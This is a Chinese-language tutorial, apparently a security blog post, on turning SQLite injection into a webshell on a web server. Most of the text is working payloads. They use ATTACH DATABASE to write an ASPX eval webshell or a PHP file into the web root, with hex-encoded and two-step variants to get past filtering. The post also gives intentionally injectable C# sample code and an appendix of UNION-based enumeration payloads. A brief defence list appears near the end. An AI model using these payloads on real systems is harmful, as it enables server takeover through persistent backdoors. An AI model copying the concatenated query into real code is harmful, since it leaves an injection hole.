SQLite手工注入Getshell技巧
字数 1184 2025-08-29 08:32:09
SQLite手工注入Getshell技巧详解
0x01 SQLite数据库简介
SQLite是一种嵌入式数据库,其特点包括:
- 数据库以单个文件形式存在
- 零配置,无需复杂安装或管理
- 由C语言编写,体积小巧
- 常用于移动应用(App)中
- 语法与其他数据库类似但有一些独特特性
0x02 SQLite基础操作
数据库创建方法
-
创建新数据库:
sqlite3.exe 数据库文件名示例:创建aa.db数据库
sqlite3.exe aa.db -
附加数据库:
ATTACH DATABASE 'DatabaseName' As 'Alias-Name';示例:附加bb.db数据库并设置别名为a
attach database 'd:\\sqlite\\bb.db' as 'a';
表操作
创建表并插入数据:
create table a.tt(dataz text);
INSERT into a.tt(dataz) VALUES ('test');
0x03 SQLite注入Getshell原理
SQLite可以创建任意后缀名的数据库文件,且文件内容会以原格式存储。当创建.php或.aspx后缀的数据库文件并插入相应代码时,这些代码会被服务器解析执行。
生成PHP Webshell
ATTACH DATABASE 'd:\\sqlite\\23.php' AS test;
create TABLE test.exp (dataz text);
insert INTO test.exp (dataz) VALUES ('<?php phpinfo();?>');
生成ASPX Webshell
ATTACH DATABASE 'd:\\web\\shell.aspx' AS test;
create TABLE test.exp (dataz text);
insert INTO test.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>');
0x04 本地环境搭建与测试
环境准备
- 安装Sqlite ADO.NET
- 获取System.Data.SQLite.DLL文件(注意32/64位版本)
- 使用VS2013创建ASP.NET网站项目
- 将DLL文件放入项目的Bin目录
示例漏洞代码
Default.aspx.cs中的关键代码:
protected void btn_Click(object sender, EventArgs e) {
if (TextBox1.Text != ""){
SQLiteConnection conn = new SQLiteConnection("Data Source=" + Server.MapPath("UserData.dbx"));
conn.Open();
SQLiteCommand cmd = new SQLiteCommand();
cmd.CommandText = "select UserPassword from Users where UserName='" + TextBox1.Text.Trim()+"'";
cmd.Connection = conn;
// 执行查询...
}
}
0x05 注入利用实战步骤
1. 检测注入点
输入单引号'测试,观察是否报错并暴露路径信息
2. 直接写入Webshell
';ATTACH DATABASE 'c:\\WebSite\\shell.aspx' AS pwn;
create TABLE pwn.exp (dataz text);
insert INTO pwn.exp (dataz) VALUES ('<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>');--
3. 绕过写入限制的技巧
当直接写入失败时(特殊字符导致问题),可采用以下方法:
方法一:十六进制编码
';ATTACH DATABASE 'd:\\web\\shell.aspx' AS pwn;
create TABLE pwn.exp (dataz text);
insert INTO pwn.exp (dataz) VALUES (x'3c25402050616765204c616e67756167653d224a736372697074223e3c256576616c28526571756573742e4974656d5b2270617373225d2c22756e7361666522293b253e');--
注意:SQLite中十六进制写法为x'....'而非0x....
方法二:分步写入
-
先创建空数据库文件
';ATTACH DATABASE 'd:web\\fp.jpg' AS pwn;create TABLE pwn.exp(dataz text);-- -
下载该文件,在本地插入数据后重新上传
-
将内容从jpg数据库复制到aspx数据库
';ATTACH DATABASE 'd:web\\shell.aspx' AS pwn2; create TABLE pwn2.exp(dataz text); insert INTO pwn2.exp (dataz) SELECT dataz FROM pwn.exp;--
0x06 常见问题与解决方案
-
写入成功但无法执行:
- 检查文件权限
- 确认文件内容是否正确(可能有额外空格等问题)
- 使用十六进制编码绕过特殊字符问题
-
数据库编码不一致:
- 尝试在相同环境下生成数据库文件
- 使用十六进制编码确保数据一致性
-
写入内容被截断:
- 检查SQL语句中的引号是否正确转义
- 使用十六进制编码方式
0x07 防御建议
- 使用参数化查询
- 对用户输入进行严格过滤
- 限制数据库文件的写入权限
- 禁止上传或创建可执行文件类型的数据库
- 定期进行安全审计和渗透测试
0x08 总结要点
- SQLite可以创建任意格式的数据库文件,且插入的代码会根据文件后缀被解析执行
- 利用ATTACH DATABASE和CREATE TABLE语句可以写入Webshell
- 当直接写入失败时,十六进制编码是有效的绕过方法
- SQLite中十六进制的正确写法是
x'....' - 分步写入(先创建空文件再插入内容)可以提高成功率
附录:常用SQLite注入语句
-
测试注入点:
' or 1=1-- -
获取数据库信息:
' union select 1,sqlite_version(),3-- -
列出所有表:
' union select 1,name,3 from sqlite_master where type='table'-- -
获取表结构:
' union select 1,sql,3 from sqlite_master where name='表名'-- -
写入Webshell(十六进制版):
';ATTACH DATABASE '/var/www/html/shell.php' AS pwn; create TABLE pwn.exp (dataz text); insert INTO pwn.exp (dataz) VALUES (x'3c3f70687020706870696e666f28293b203f3e');--